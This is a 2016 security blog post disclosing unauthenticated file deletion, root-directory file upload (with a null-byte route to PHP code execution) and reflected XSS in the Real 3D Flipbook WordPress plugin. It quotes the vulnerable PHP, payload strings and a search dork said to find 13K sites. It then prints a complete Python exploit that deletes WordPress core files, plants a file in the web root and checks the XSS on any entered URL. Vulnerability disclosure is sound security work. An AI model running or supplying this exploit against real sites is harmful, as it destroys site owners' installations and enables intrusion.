[WordPress] Real 3D Flipbook Plugin Exploit cover image

[WordPress] Real 3D Flipbook Plugin Exploit

Mukarram Khalid • July 3, 2016

php wordpress exploits python

Introduction

Real 3D Flipbook is a wordpress plugin which uses Web Graphics Library to create 3D flip books. We can upload PDF files or JPEG images and it will automatically make an interactive flipbook for wordpress posts and pages. At the time of writing this post, the plugin costs $32 with $9.60 for extended 12 months support. You can find further details on the official codecanyon page.

Vulnerabilities

The company I work for, bought this plugin few days ago and decided to use it on our wordpress blog for the company featured magazine. We don't install the plugins directly on our wordpress instance. We usually audit the code and add some tweaks first. That's where I come in.

While auditing this plugin, I found some critical vulnerabilities which can be exploited by an unauthenticated user and do some real damage to our wordpress installation. Here's the list of vulnerabilities:

Let's take a look at these vulnerabilities individually.

Delete Files or Directories (Unauthenticated)

This vulnerability exists in a file wp-content/plugins/real3d-flipbook/includes/process.php. Here's a code snippet from the file.

if (isset($_POST["deleteBook"]) && !empty($_POST["deleteBook"])) {
    $bookName = $_POST['deleteBook'];
    $dirPath = "../../../uploads/real3dflipbook/".$bookName;

    if (! is_dir($dirPath)) {
        throw new InvalidArgumentException("$dirPath must be a directory");
    }
    if (substr($dirPath, strlen($dirPath) - 1, 1) != '/') {
        $dirPath .= '/';
    }
    $files = glob($dirPath . '*', GLOB_MARK);
    foreach ($files as $file) {
        if (is_dir($file)) {
            self::deleteDir($file);
        } else {
            unlink($file);
        }
    }
    rmdir($dirPath);
}

This file was meant to be called within the scope of wordpress admin panel but it doesn't check for user authentication at all so, an unauthenticated user can call this file and pass POST parameters. On line 55, POST parameter deleteBook is assigned to a variable $bookName which further gets concatenated to $dirPath. Lines 58 – 60 make sure that the resulting path is a valid directory. On line 64, PHPs glob() function returns an array of filenames and directories matching the given pattern in $dirPath. From line 65 to 72, it loops through all the file paths and deletes them one by one. At the end of the loop, it deletes the parent directory by rmdir($dirPath).

An end user can exploit this vulnerability and delete any wordpress file or directory by simply making a POST request to process.php with the POST data deleteBook=../../../wp-includes/css or deleteBook=../../../wp-includes/customize.

self::deleteDir() on line 67 may create some problem for us, as we're calling this file outside the class scope. So, we need to make sure that we never land on line 67, the best way is to delete the files in this specific order wpFiles.json. This order starts from the deepest directory with no other directories in it and then gradually moves to the parent directory thus always landing on unlink() or rmdir() on lines 69 and 72 respectively.

Upload Images in Root Directory

This vulnerability also exists in file wp-content/plugins/real3d-flipbook/includes/process.php. Here's the code snippet.

if (isset($_POST["imgbase"]) && !empty($_POST["imgbase"])) {

    // get the image data
    $data = $_POST['imgbase'];
    $bookName = $_POST['bookName'];

    list($type, $data) = explode(';', $data);
    list(, $data) = explode(',', $data);
    $data = base64_decode($data);

    $booksFolder = "../../../uploads/real3dflipbook/";
    if (!file_exists($booksFolder)) {
        mkdir($booksFolder, 0777, true);
    }

    $bookFolder = "../../../uploads/real3dflipbook/".$bookName;
    if (!file_exists($bookFolder)) {
        mkdir($bookFolder, 0777, true);
    }


    $filename = $bookFolder."/".$_POST['pageName'].".jpg";
    // $thumbName = $bookFolder."/".$_POST['pageName']."_thumb.jpg";

    $file = $filename;

    // decode the image data and save it to file
    if (!file_put_contents($file, $data)){
        echo "failed";
    } else {
        echo "success";
    }
}

On line 5, the POST parameter imageBase expects the Base64 encoded image data. Something like data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIA.... On line 6, POST parameter bookName determines the upload directory path. From line 14 to 26, it processes the image data, decodes it and creates the upload directories. It takes a POST parameter pageName which is used as the image filename and copies the image data to a JPG file on line 35. An end user can upload images directly in the root directory by simply making a POST request to process.php.

For example, this payload will upload an image makman.jpg in the root directory of the website imgbase=data:image/png;base64,iVBORw0KGgoAAA...&bookName=../../../&pageName=makman, and not to mention, with out any user authentication.

If the webserver is running PHP version prior to PHP 5.3, we can also leverage this vulnerability to code execution by uploading PHP files. PHP < 5.3 was vulnerable to Null Bytes injection/truncation attacks.

In that case, we can upload PHP files by changing our payload to imgbase=data:image/png;base64,iVBOAAA..&bookName=../../../&pageName=makman.php%00, which will result in makman.php created in the root directory with our input data imgbase as the file contents.

Cross Site Scripting (Reflected XSS)

This vulnerability exists in wp-content/plugins/real3d-flipbook/includes/flipbooks.php where unsanitized user input is directly echoed on the page. An end user can exploit this vulnerability by simply making a GET request to flipbooks.php with GET parameters action=delete&bookId=<script>alert(/makman/)</script>.

Exploit Code

A simple search for Google dork "wp-content/uploads/real3dflipbook" resulted in 13K websites using Real 3D Flipbook plugin.

Google Search

Here comes the fun part, I've coded a POC in Python which exploits all these vulnerabilities for the given website. It deletes all the important files in wp-content/ and wp-admin/ thus breaking the wordpress installation. Then, it uploads an image makman.jpg in the root directory of the website and finally checks the XSS payload. Here's the code.

[+] GitHub Repository

#########################################################################
# [+] [POC][Exploit] CodeCanyon Real3D FlipBook WordPress Plugin
# [+] http://codecanyon.net/item/real3d-flipbook-wordpress-plugin/6942587
# [+] Multiple Vulnerabilities Found by: Mukarram Khalid
# [+] https://mukarramkhalid.com/wordpress-real-3d-flipbook-plugin-exploit/
# [+] Requirements : Python 3.4.x or higher, Requests Module
# [+] Timeline: Vuln Found : 01-07-2016, Reported to Vendor: 03-07-2016
########################################################################

import os, json, base64
try:
    import requests
except:
    exit('[-] Importing Requests module failed')

class wpFlipbook:
    ''' Wordpress 3d flipbook plugin exploit '''

    headers  = {'User-agent' : 'Mozilla/11.0'}
    payload1 = {'deleteBook' : ''}
    payload2 = {'imgbase' : '', 'bookName' : '../../../', 'pageName' : 'makman'}
    payload3 = {'action' : 'delete', 'bookId' : '<script>alert(/makman/)</script>'}
    imageUrl = 'https://mukarramkhalid.com/assets/images/m.png'
    wpFilesUrl = 'https://mukarramkhalid.com/assets/files/wordpress-real-3d-flipbook-plugin-exploit/wpFiles.json'

    def __init__(self, url):
        url = url.rstrip('/')
        if 'http://' in url or 'https://' in url:
            self.url = url
        else:
            self.url = 'http://' + url

    def http(self, url, data = {}, post = False):
        try:
            if post:
                r = requests.post(url, data = data, headers = self.headers, timeout = 20)
            else:
                r = requests.get(url, params = data, headers = self.headers, timeout = 20)
        except:
            exit('[-] Something went wrong. Please check your internet connection')
        return r

    def deleteFiles(self):
        print('[+] Loading Wordpress file structure')
        r = self.http(self.wpFilesUrl)
        wpFiles = json.loads(r.text)
        print('[+] Wordpress File structure loaded successfully')
        print('[+] Creating directory real3dflipbook')
        r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/process.php', {'imgbase' : 'makman'}, True)
        print('[+] Deleting Files from wp-includes/ & wp-admin/')
        for wpFile in wpFiles['wpFiles']:
            print('    [+] Deleting File ' + wpFile)
            self.payload1['deleteBook'] = wpFile
            r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/process.php', self.payload1, True)
        print('[+] Files have been deleted successfully')

    def uploadImage(self):
        print('[+] Loading image file')
        r = self.http(self.imageUrl)
        encodedImage = base64.b64encode(r.content)
        self.payload2['imgbase'] = ';,' + encodedImage.decode('utf-8')
        print('[+] Uploading image file in target root directory')
        r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/process.php', self.payload2, True)
        print('[+] Image has been uploaded here ' + self.url + '/' + self.payload2['pageName'] + '.jpg')

    def xss(self):
        print('[+] Checking XSS payload')
        r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/flipbooks.php', self.payload3)
        if self.payload3['bookId'] in r.text:
            print('[+] Found XSS here :')
            print('    [+] ' + self.url + '/wp-content/plugins/real3d-flipbook/includes/flipbooks.php?action=' + self.payload3['action'] + '&bookId=' + self.payload3['bookId'])

#########################################################################################################

def banner():
    os.system('cls' if os.name == 'nt' else 'clear')
    tabs = '    '
    print(tabs + '*******************************************************************')
    print(tabs + '* [+] [POC][Exploit] CodeCanyon Real3D FlipBook WordPress Plugin  *')
    print(tabs + '* [+] Multiple Vulnerabilities Found by:                          *')
    print(tabs + '* [+] https://mukarramkhalid.com                                  *')
    print(tabs + '*******************************************************************\n\n')

def main():
    banner()
    url = input('[+] Enter Url\n[+] E.g. http://test.com or http://test.com/wordpress\n[+] ')
    exploit = wpFlipbook(url)
    exploit.deleteFiles()
    exploit.uploadImage()
    exploit.xss()
    print('[+] Done')

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        exit('\n[-] CTRL-C detected.\n')
# End

After executing this exploit, the wordpress site doesn’t load because the exploit deletes all the files in wp-includes/.

Files Deleted

Exploit Execution

Deleting Files

Exploit Completed

File Uploaded

XSS

Vulnerability Timeline

Advisories

CVEs